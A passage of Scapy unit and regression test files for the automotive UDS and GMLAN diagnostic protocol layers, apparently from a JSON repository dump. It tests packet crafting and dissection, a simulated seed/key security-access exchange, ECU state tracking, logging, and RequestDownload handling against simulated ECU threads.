timeout=2, verbose=False)\n    assert resp.service == 0x67\n    assert resp.securitySeed == b\"abcd\"\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=2, verbose=False)\n    assert resp.service == 0x7f\n    assert resp.negativeResponseCode == 0x35\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=2, verbose=False)\n    assert resp.service == 0x67\n    assert resp.securitySeed == b\"abcd\"\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=2, verbose=False)\n    assert resp.service == 0x67\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\n= Simple check with security access and answers hook and request-correctly-received message 2\n\nsecurity_seed = b\"abcd\"\n\ndef custom_answers(resp, req):\n    global security_seed\n    if req.service + 0x40 != resp.service or req.service != 0x27:\n        return False\n    if req.securityAccessType == 1:\n        resp.securitySeed = security_seed\n        return resp.answers(req)\n    elif req.securityAccessType == 2:\n        return resp.answers(req) and req.securityKey == security_seed + security_seed\n    return False\n\nexample_responses = \\\n    [EcuResponse(EcuState(session=range(0,255)), responses=[UDS()/UDS_NR(negativeResponseCode=0x78, requestServiceId=0x27), UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b\"1234\")], answers=custom_answers),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))]\n\nconf.contribs['UDS']['treat-response-pending-as-answer'] = True\n\nsuccess = False\n\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses,\n                           main_socket=ecu, basecls=UDS)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout':5, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False)\n    assert resp.service == 0x7f\n    assert resp.negativeResponseCode == 0x78\n    resp = tester.sniff(timeout=2, count=1, verbose=False)[0]\n    assert resp.service == 0x67\n    assert resp.securitySeed == b\"abcd\"\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=3, verbose=False)\n    assert resp.service == 0x7f\n    assert resp.negativeResponseCode == 0x35\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False)\n    assert resp.service == 0x7f\n    assert resp.negativeResponseCode == 0x78\n    resp = tester.sniff(timeout=2, count=1, verbose=False)[0]\n    assert resp.service == 0x67\n    assert resp.securitySeed == b\"abcd\"\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=1, verbose=False)\n    assert resp.service == 0x67\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\nconf.contribs['UDS']['treat-response-pending-as-answer'] = False\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()"
  },
  {
    "path": "test/contrib/automotive/gm/gmlan.uts",
    "content": "# gmlan unit tests\n#\n# Type the following command to launch start the tests:\n# $ sudo bash test/run_tests -t test/gmlan.uts -F\n\n% gmlan unit tests\n\n+ Configuration of scapy\n= Load gmlan layer\n~ conf\n\nload_contrib(\"automotive.ecu\", globals_dict=globals())\nload_contrib(\"automotive.gm.gmlan\", globals_dict=globals())\n\nfrom scapy.contrib.automotive.gm.gmlan_ecu_states import *\nfrom scapy.contrib.automotive.gm.gmlan_logging import *\n\n+ Basic Packet Tests()\n= Set GMLAN ECU AddressingScheme\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\nassert conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == 2\n\n= Craft Packet\nx = GMLAN(b'\\x52\\x02\\x01\\x16\\x71\\x00\\x00\\x0c\\xaa\\xbb')\nx.load == b'\\x00\\x0c\\xaa\\xbb'\nx.service == 0x52\n\n= Craft VIN Packet\nx = GMLAN(b'\\x5a\\x90'+ raw(b\"WOOOJBF35W1042000\"))\nx.load == b'WOOOJBF35W1042000'\nx.dataIdentifier == 0x90\n\n= Test Packet with ECU AddressingScheme2\nx = GMLAN()/GMLAN_RMBA(b'\\x11\\x22\\x44\\x22')\nx.memoryAddress == 0x1122\nx.memorySize == 0x4422\n\n= Test Packet GMLAN_RMBAPR with ECU AddressingScheme2\ny = GMLAN()/GMLAN_RMBAPR(b'\\x11\\x22\\x44\\x22')\ny.memoryAddress == 0x1122\ny.dataRecord == b'\\x44\\x22'\ny.answers(x) == True\n\n= Craft Packet with ECU AddressingScheme2\nx = GMLAN() / GMLAN_RMBA(b'\\x11\\x22\\x44\\x22')\ny = GMLAN()/GMLAN_RMBA(memoryAddress=0x1122, memorySize=0x4422)\nbytes(x) == bytes(y)\n\n= Test Packet with ECU AddressingScheme3\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\nx = GMLAN()/GMLAN_RMBA(b'\\x11\\x22\\x44\\x22\\x11')\nx.memoryAddress == 0x112244\nx.memorySize == 0x2211\n\n= Test Packet GMLAN_RMBAPR with ECU AddressingScheme3\ny = GMLAN()/GMLAN_RMBAPR(b'\\x11\\x22\\x44\\x22\\x11')\ny.memoryAddress == 0x112244\ny.dataRecord == b'\\x22\\x11'\ny.answers(x) == True\n\n= Craft Packet with ECU AddressingScheme3\nx = GMLAN() / GMLAN_RMBA(b'\\x11\\x22\\x44\\x22\\x11')\ny = GMLAN()/GMLAN_RMBA(memoryAddress=0x112244, memorySize=0x2211)\nbytes(x) == bytes(y)\n\n= Test Packet with ECU AddressingScheme4\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nx = GMLAN()/GMLAN_RMBA(b'\\x11\\x22\\x44\\x22\\x11\\x00')\nx.memoryAddress == 0x11224422\nx.memorySize == 0x1100\n\n= Test Packet GMLAN_RMBAPR with ECU AddressingScheme4\ny = GMLAN()/GMLAN_RMBAPR(b'\\x11\\x22\\x44\\x22\\x11\\x00')\ny.memoryAddress == 0x11224422\ny.dataRecord == b'\\x11\\x00'\ny.answers(x) == True\n\n= Craft Packet with ECU AddressingScheme4\nx = GMLAN() / GMLAN_RMBA(b'\\x11\\x22\\x44\\x22\\x11\\x00')\ny = GMLAN()/GMLAN_RMBA(memoryAddress=0x11224422, memorySize=0x1100)\nbytes(x) == bytes(y)\n\n= Craft Packet for RequestDownload2\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\nx = GMLAN(b'\\x34\\x12\\x08\\x15')\nx.service == 0x34\nx.dataFormatIdentifier == 0x12\nx.memorySize == 0x815\n\ny = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x815)\nbytes(y) == bytes(x)\n\n= Craft Packet for RequestDownload3\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\nx = GMLAN(b'\\x34\\x12\\x08\\x15\\x00')\nx.service == 0x34\nx.dataFormatIdentifier == 0x12\nx.memorySize == 0x81500\n\ny = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x81500)\nbytes(y) == bytes(x)\n\n= Craft Packet for RequestDownload4\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nx = GMLAN(b'\\x34\\x12\\x08\\x15\\x00\\x11')\nx.service == 0x34\nx.dataFormatIdentifier == 0x12\nx.memorySize == 0x8150011\n\n= Craft Packet for RFRD1\na = GMLAN(b'\\x12\\x01')\na.service == 0x12\na.subfunction == 1\n\n= Craft Packet for RFRD2\nb = GMLAN(b'\\x12\\x02\\x01\\x02\\x03\\x04')\nb.service == 0x12\nb.subfunction == 2\nb.dtc.failureRecordNumber == 1\nb.dtc.DTCHighByte == 2\nb.dtc.DTCLowByte == 3\nb.dtc.DTCFailureType == 4\n\n= Craft Packet for RFRDPR_RFRI\nx = GMLAN(b'\\x52\\x01\\x00\\x01\\x02\\x03\\x04')\nx.service == 0x52\nx.subfunction == 1\nx.failureRecordDataStructureIdentifier == 0\nx.dtcs[0].failureRecordNumber == 1\nx.dtcs[0].DTCHighByte == 2\nx.dtcs[0].DTCLowByte == 3\nx.dtcs[0].DTCFailureType == 4\nx.answers(a) == True\n\n= Craft Packet for RFRDPR_RFRI\nx = GMLAN(b'\\x52\\x01\\x00\\x01\\x02\\x03\\x04\\x01\\x02\\x03\\x04\\x01\\x02\\x03\\x04\\x01\\x02\\x03\\x04')\nx.service == 0x52\nx.subfunction == 1\nx.failureRecordDataStructureIdentifier == 0\nx.dtcs[0].failureRecordNumber == 1\nx.dtcs[0].DTCHighByte == 2\nx.dtcs[0].DTCLowByte == 3\nx.dtcs[0].DTCFailureType == 4\nx.dtcs[1].failureRecordNumber == 1\nx.dtcs[1].DTCHighByte == 2\nx.dtcs[1].DTCLowByte == 3\nx.dtcs[1].DTCFailureType == 4\nx.dtcs[2].failureRecordNumber == 1\nx.dtcs[2].DTCHighByte == 2\nx.dtcs[2].DTCLowByte == 3\nx.dtcs[2].DTCFailureType == 4\nx.dtcs[3].failureRecordNumber == 1\nx.dtcs[3].DTCHighByte == 2\nx.dtcs[3].DTCLowByte == 3\nx.dtcs[3].DTCFailureType == 4\nx.answers(a) == True\n\n= Craft Packet for RFRDPR_RFRP\nx = GMLAN(b'\\x52\\x02\\x01\\x02\\x03\\x04deadbeef')\nx.service == 0x52\nx.subfunction == 2\nx.dtc.failureRecordNumber == 1\nx.dtc.DTCHighByte == 2\nx.dtc.DTCLowByte == 3\nx.dtc.DTCFailureType == 4\nx.show()\nx.load == b'deadbeef'\nx.answers(b) == True\n\n\n= Craft Packet for RDBI\nx = GMLAN(b'\\x1A\\x11')\nx.service == 0x1A\nx.dataIdentifier == 0x11\n\n= Craft Packet for RDBIPR\ny = GMLAN(b'\\x5A\\x11deadbeef')\ny.service == 0x5A\ny.dataIdentifier == 0x11\ny.load == b'deadbeef'\ny.answers(x) == True\n\n\n= Craft Packet for RDBPI\nx = GMLAN(b'\\x22\\x11\\x11\\x22\\x22\\x33\\x33\\x44\\x44\\x55\\x55\\x66\\x66\\x77\\x77\\x88\\x88\\x99\\x99')\nx.service == 0x22\nx.identifiers[0] == 0x1111\nx.identifiers[1] == 0x2222\nx.identifiers[2] == 0x3333\nx.identifiers[3] == 0x4444\nx.identifiers[4] == 0x5555\nx.identifiers[5] == 0x6666\nx.identifiers[6] == 0x7777\nx.identifiers[7] == 0x8888\nx.identifiers[8] == 0x9999\n\n= Craft Packet for RDBPIPR\ny = GMLAN(b'\\x62\\x11\\x11deadbeef')\ny.service == 0x62\ny.parameterIdentifier == 0x1111\ny.load == b'deadbeef'\ny.answers(x) == True\n\n= Craft Packet for GMLAN_RDBPKTI1\nx = GMLAN(b'\\xAA\\x01deadbeef')\nx.service == 0xAA\nx.subfunction == 0x01\nx.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66]\n\n= Craft Packet for GMLAN_RDBPKTI3\nx = GMLAN(b'\\xAA\\x02deadbeef')\nx.service == 0xAA\nx.subfunction == 0x02\nx.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66]\n\n= Craft Packet for GMLAN_RDBPKTI4\nx = GMLAN(b'\\xAA\\x03deadbeef')\nx.service == 0xAA\nx.subfunction == 0x03\nx.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66]\n\n= Craft Packet for GMLAN_RDBPKTI2\nx = GMLAN(b'\\xAA\\x00')\nx.service == 0xAA\nx.subfunction == 0\n\n= Build GMLAN_RDBPKTI1\nx = GMLAN()/GMLAN_RDBPKTI(subfunction=1, request_DPIDs=[0x64, 0x65])\nassert b\"\\xaa\\x01de\" == bytes(x)\n\n= Craft Packet for GMLAN_SA1\na = GMLAN(b'\\x27\\x01')\na.service == 0x27\na.subfunction == 1\n\n= Craft Packet for GMLAN_SA2\nb = GMLAN(b'\\x27\\x02\\xde\\xad')\nb.service == 0x27\nb.subfunction == 2\nb.securityKey == 0xdead\n\n= Craft Packet for GMLAN_SAPR1\nx = GMLAN(b'\\x67\\x02')\nx.service == 0x67\nx.subfunction == 2\nx.answers(b)\n\necu = Ecu()\necu.update(b)\necu.update(x)\nassert ecu.state.security_level == 2\n\n\n= Craft Packet for GMLAN_SAPR2\nx = GMLAN(b'\\x67\\x01\\xde\\xad')\nx.service == 0x67\nx.subfunction == 1\nx.securitySeed == 0xdead\nx.answers(a)\n\n= Craft Packet for GMLAN_DDM\nx = GMLAN(b'\\x2c\\x02dead')\nx.service == 0x2c\nx.DPIDIdentifier == 2\nx.PIDData == b'dead'\n\n= Craft Packet for GMLAN_DDMPR\ny = GMLAN(b'\\x6c\\x02dead')\ny.service == 0x6c\ny.DPIDIdentifier == 2\ny.answers(x)\n\n= Craft Packet for GMLAN_DPBA1\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\nx = GMLAN(b'\\x2D\\x02\\x02\\x11\\x11\\x33')\nx.service == 0x2d\nx.parameterIdentifier == 0x202\nx.memoryAddress == 0x1111\nx.memorySize == 0x33\n\n= Craft Packet for GMLAN_DPBA2\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\nx = GMLAN(b'\\x2D\\x02\\x02\\x11\\x11\\x11\\x33')\nx.service == 0x2d\nx.parameterIdentifier == 0x202\nx.memoryAddress == 0x111111\nx.memorySize == 0x33\n\n= Craft Packet for GMLAN_DPBA3\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nx = GMLAN(b'\\x2D\\x02\\x02\\x11\\x11\\x11\\x11\\x33')\nx.service == 0x2d\nx.parameterIdentifier == 0x202\nx.memoryAddress == 0x11111111\nx.memorySize == 0x33\n\n= Craft Packet for GMLAN_DPBAPR\ny = GMLAN(b'\\x6D\\x02\\x02')\ny.service == 0x6d\ny.parameterIdentifier == 0x202\ny.answers(x)\n\n= Craft Packet for GMLAN_RD1\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\nx = GMLAN(b'\\x34\\x02\\x11\\x11')\nx.service == 0x34\nx.dataFormatIdentifier == 0x2\nx.memorySize == 0x1111\n\n= Craft Packet for GMLAN_RD2\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\nx = GMLAN(b'\\x34\\x02\\x11\\x11\\x11')\nx.service == 0x34\nx.dataFormatIdentifier == 0x2\nx.memorySize == 0x111111\n\n= Craft Packet for GMLAN_RD3\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nx = GMLAN(b'\\x34\\x02\\x11\\x11\\x11\\x11')\nx.service == 0x34\nx.dataFormatIdentifier == 0x2\nx.memorySize == 0x11111111\n\n= Craft Packet for GMLAN_TD1\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\nx = GMLAN(b'\\x36\\x02\\x11\\x11dead')\nx.service == 0x36\nx.subfunction == 0x2\nx.startingAddress == 0x1111\nx.dataRecord == b'dead'\n\n= Craft Packet for GMLAN_TD2\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\nx = GMLAN(b'\\x36\\x02\\x11\\x11\\x11dead')\nx.service == 0x36\nx.subfunction == 0x2\nx.startingAddress == 0x111111\nx.dataRecord == b'dead'\n\n= Craft Packet for GMLAN_TD3\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nx = GMLAN(b'\\x36\\x02\\x11\\x11\\x11\\x11dead')\nx.service == 0x36\nx.subfunction == 0x2\nx.startingAddress == 0x11111111\nx.dataRecord == b'dead'\n\n= Craft Packet for WDBI\nx = GMLAN(b'\\x3b\\x11deadbeef')\nx.service == 0x3b\nx.dataIdentifier == 0x11\nx.dataRecord == b'deadbeef'\n\n= Craft Packet for WDBIPR\ny = GMLAN(b'\\x7b\\x11')\ny.service == 0x7b\ny.dataIdentifier == 0x11\ny.answers(x)\n\n= Craft Packet for RPSPR\nx = GMLAN(b'\\xe2\\x11')\nx.service == 0xe2\nx.programmedState == 0x11\n\n= Craft Packet for PM\nx = GMLAN(b'\\xA5\\x11')\nx.service == 0xA5\nx.subfunction == 0x11\n\n= Craft Packet for RDI\nx = GMLAN(b'\\xA9\\x11')\nx.service == 0xA9\nx.subfunction == 0x11\n\n= Craft Packet for RDI_BN\nx = GMLAN(b'\\xA9\\x80\\x11\\x22\\x33')\nx.service == 0xA9\nx.subfunction == 0x80\nx.DTCHighByte == 0x11\nx.DTCLowByte == 0x22\nx.DTCFailureType == 0x33\n\n= Craft Packet for RDI_BM1\nx = GMLAN(b'\\xA9\\x81\\x11')\nx.service == 0xA9\nx.subfunction == 0x81\nx.DTCStatusMask == 0x11\n\n= Craft Packet for RDI_BM2\nx = GMLAN(b'\\xA9\\x82\\x11')\nx.service == 0xA9\nx.subfunction == 0x82\nx.DTCStatusMask == 0x11\n\n= Craft Packet for NR\nx = GMLAN(b'\\x7f\\x11\\x00\\x11\\x22')\nx.service == 0x7f\nx.requestServiceId == 0x11\nx.returnCode == 0\nx.deviceControlLimitExceeded == 0x1122\n\n= Check not answers\ny = GMLAN(b'\\x11deadbeef')\nx = GMLAN(b'\\x7f\\x10\\x00\\x11\\x22')\nassert not x.answers(y)\n\n= Check answers 1\ny = GMLAN(b'\\x10deadbeef')\nx = GMLAN(b'\\x7f\\x10\\x00\\x11\\x22')\nassert x.answers(y)\n\n= Set treat-response-pending-as-answer\nconf.contribs['GMLAN']['treat-response-pending-as-answer'] = False\nassert conf.contribs['GMLAN']['treat-response-pending-as-answer'] == False\n\n= Check response-pending is not considered as answer\ny = GMLAN(b'\\x10deadbeef')\nx = GMLAN(b'\\x7f\\x10\\x78\\x11\\x22')\nassert not x.answers(y)\n\n= Check response-pending is considered as answer\nconf.contribs['GMLAN']['treat-response-pending-as-answer'] = True\nassert conf.contribs['GMLAN']['treat-response-pending-as-answer'] == True\ny = GMLAN(b'\\x10deadbeef')\nx = GMLAN(b'\\x7f\\x10\\x78\\x11\\x22')\nassert x.answers(y)\n\n= Check hashret 1\nprint(y.hashret())\nprint(x.hashret())\n\ny.hashret() == x.hashret()\n\n= Check answers 2\ny = GMLAN()/GMLAN_SA(subfunction=1)\nx = GMLAN()/GMLAN_SAPR(subfunction=1)\nassert x.answers(y)\n\n= Check hashret 2\ny.hashret() == x.hashret()\n\n= Check modifies ecu state\necu = Ecu()\necu.update(GMLAN(service=\"InitiateDiagnosticOperation\"))\necu.update(GMLAN(service=\"InitiateDiagnosticOperationPositiveResponse\"))\nassert ecu.state.session == 3\necu.update(GMLAN(service=\"ReturnToNormalOperation\"))\necu.update(GMLAN(service=\"ReturnToNormalOperationPositiveResponse\"))\nassert ecu.state.session == 1\necu.update(GMLAN(service=\"ProgrammingMode\"))\necu.update(GMLAN(service=\"ProgrammingModePositiveResponse\"))\nassert ecu.state.session == 2\necu.update(GMLAN(service=\"DisableNormalCommunication\"))\necu.update(GMLAN(service=\"DisableNormalCommunicationPositiveResponse\"))\nassert ecu.state.communication_control == 1\necu.update(GMLAN(service=\"ReturnToNormalOperation\"))\necu.update(GMLAN(service=\"ReturnToNormalOperationPositiveResponse\"))\nassert ecu.state.session == 1\n\n= Craft GMLAN_DC\n\nreq = GMLAN()/GMLAN_DC(CPIDNumber=0x11, CPIDControlBytes=b\"\\xbe\\xefabc\")\nassert bytes(req) == b\"\\xAE\\x11\\xbe\\xefabc\"\n\nreq2 = GMLAN()/GMLAN_DC(CPIDNumber=0x12)\nassert bytes(req2) == b\"\\xAE\\x12\\x00\\x00\\x00\\x00\\x00\"\n\nresp = GMLAN()/GMLAN_DCPR(CPIDNumber=0x11)\nassert bytes(resp) == b\"\\xEE\\x11\"\n\n\nassert resp.answers(req)\nassert not resp.answers(req2)\n\n= Dissect test GMLAN_DC\n\nreq = GMLAN(b\"\\xAE\\x14caffe\")\nassert req.service == 0xAE\nassert req.CPIDNumber == 20\nassert req.CPIDControlBytes == b\"caffe\"\n\nresp = GMLAN(b\"\\xEE\\x14\")\nassert resp.service == 0xEE\nassert resp.CPIDNumber == 20\nassert resp.answers(req)\nassert resp.hashret() == req.hashret()\n\n= Logging tests\n\n\ndef get_log(pkt):\n    for layer in pkt.layers():\n        if not hasattr(layer, \"get_log\"):\n            continue\n        try:\n            return layer.get_log(pkt)\n        except TypeError:\n            return layer.get_log.im_func(pkt)\n\npkt = GMLAN()/GMLAN_RFRD(subfunction=1)\nlog = get_log(pkt)\nassert len(log) == 2\nassert log[1] == \"readFailureRecordIdentifiers\"\nassert log[0] == \"ReadFailureRecordData\"\n\npkt = GMLAN()/GMLAN_RFRDPR(subfunction=1)\nlog = get_log(pkt)\nassert len(log) == 2\nassert log[1] == \"readFailureRecordIdentifiers\"\nassert log[0] == \"ReadFailureRecordDataPositiveResponse\"\n\npkt = GMLAN()/GMLAN_RDBPI(identifiers=[5])\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == '[OBD_EngineCoolantTemperature]'\nassert log[0] == \"ReadDataByParameterIdentifier\"\n\npkt = GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=5)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == 'OBD_EngineCoolantTemperature'\nassert log[0] == \"ReadDataByParameterIdentifierPositiveResponse\"\n\n\npkt = GMLAN()/GMLAN_RDBPKTI(subfunction=0)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == 'stopSending'\nassert log[0] == \"ReadDataByPacketIdentifier\"\n\npkt = GMLAN()/GMLAN_RMBA(memoryAddress=0)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == '0x0'\nassert log[0] == \"ReadMemoryByAddress\"\n\npkt = GMLAN()/GMLAN_RMBAPR(memoryAddress=0, dataRecord=b\"deadbeef\")\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1][0] == '0x0'\nassert log[1][1] == b'deadbeef'\nassert log[0] == \"ReadMemoryByAddressPositiveResponse\"\n\npkt = GMLAN()/GMLAN_DDM(DPIDIdentifier=0, PIDData=b\"deadbeef\")\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1][0] == '0x0'\nassert log[1][1] == b'deadbeef'\nassert log[0] == \"DynamicallyDefineMessage\"\n\npkt = GMLAN()/GMLAN_DDMPR(DPIDIdentifier=0)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == '0x0'\nassert log[0] == \"DynamicallyDefineMessagePositiveResponse\"\n\npkt = GMLAN()/GMLAN_DPBA(parameterIdentifier=0, memoryAddress=1, memorySize=3)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1][0] == 0\nassert log[1][1] == 1\nassert log[1][2] == 3\nassert log[0] == \"DefinePIDByAddress\"\n\npkt = GMLAN()/GMLAN_DPBAPR(parameterIdentifier=0)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == 0\nassert log[0] == \"DefinePIDByAddressPositiveResponse\"\n\npkt = GMLAN()/GMLAN_WDBI(dataIdentifier=0, dataRecord=b\"deadbeef\")\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1][0] == \"0x0\"\nassert log[1][1] == b\"deadbeef\"\nassert log[0] == \"WriteDataByIdentifier\"\n\npkt = GMLAN()/GMLAN_WDBIPR(dataIdentifier=0)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == \"0x0\"\nassert log[0] == \"WriteDataByIdentifierPositiveResponse\"\n\npkt = GMLAN()/GMLAN_RDI(subfunction=0x80)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == \"readStatusOfDTCByDTCNumber\"\nassert log[0] == \"ReadDiagnosticInformation\"\n\npkt = GMLAN()/GMLAN_DC(CPIDNumber=0x80)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == \"0x80\"\nassert log[0] == \"DeviceControl\"\n\npkt = GMLAN()/GMLAN_DCPR(CPIDNumber=0x80)\nlog = get_log(pkt)\nprint(log)\nassert len(log) == 2\nassert log[1] == \"0x80\"\nassert log[0] == \"DeviceControlPositiveResponse\""
  },
  {
    "path": "test/contrib/automotive/gm/gmlanutils.uts",
    "content": "% Regression tests for gmlanutil\n~ scanner\n\n+ Configuration\n~ conf\n\n\n= Imports\n\nfrom scapy.contrib.automotive import log_automotive\nfrom test.testsocket import TestSocket, cleanup_testsockets\nimport logging\n\n############\n############\n+ Load general modules\n\n= Load contribution layer\n\nload_layer(\"can\", globals_dict=globals())\nload_contrib(\"automotive.gm.gmlan\", globals_dict=globals())\nload_contrib(\"automotive.gm.gmlanutils\", globals_dict=globals())\n\nlog_automotive.setLevel(logging.DEBUG)\n\n= Define test sockets\n\nisotpsock2 = TestSocket(GMLAN)\nisotpsock = TestSocket(GMLAN)\nisotpsock2.pair(isotpsock)\n\n##############################################################################\n+ GMLAN_RequestDownload Tests\n##############################################################################\n= Positive, immediate positive response\n\necusimSuccessfullyExecuted = False\nstarted = threading.Event()\n\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN()/GMLAN_RD(memorySize=4)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    else:\n        ecusimSuccessfullyExecuted = True\n    ack = b\"\\x74\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=1) == True\nthread.join(timeout=5)\n\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n= Negative, immediate negative response\n\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22)\n    isotpsock2.send(nr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=1) == False\nthread.join(timeout=5)\nassert res\n\n= Negative, timeout\nassert GMLAN_RequestDownload(isotpsock, 4, timeout=0.01) == False\n\n############################ Response pending\n= Positive, after response pending\nstarted = threading.Event()\n\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=2, started_callback=started.set)\n    pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78)\n    isotpsock2.send(pending)\n    ack = b\"\\x74\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=2) == True\nthread.join(timeout=5)\nassert res\n\n= Positive, hold response pending for several messages\ntout = 0.1\nrepeats = 4\nstarted = threading.Event()\n\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78)\n    for i in range(repeats):\n        isotpsock2.send(ack)\n        time.sleep(tout)\n    ack = b\"\\x74\"\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nstarttime = time.time() # may be inaccurate -> on some systems only seconds precision\nresult = GMLAN_RequestDownload(isotpsock, 4, timeout=repeats*tout+0.5)\nendtime = time.time() + 1\nthread.join(timeout=5)\nassert result\nprint(endtime - starttime)\nprint(tout * (repeats - 1))\nassert (endtime - starttime) >= tout * (repeats - 1)\n\n\n= Negative, negative response after response pending\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78)\n    isotpsock2.send(pending)\n    nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22)\n    isotpsock2.send(nr)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == False\nthread.join(timeout=5)\nassert res\n\n\n= Negative, timeout after response pending\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78)\n    isotpsock2.send(pending)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == False\nthread.join(timeout=5)\nassert res\n\n\n\n= Positive, pending message from different service interferes while pending\nstarted = threading.Event()\ndef ecusim():\n    isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78)\n    isotpsock2.send(pending)\n    wrongservice = GMLAN()/GMLAN_NR(requestServiceId=0x36, 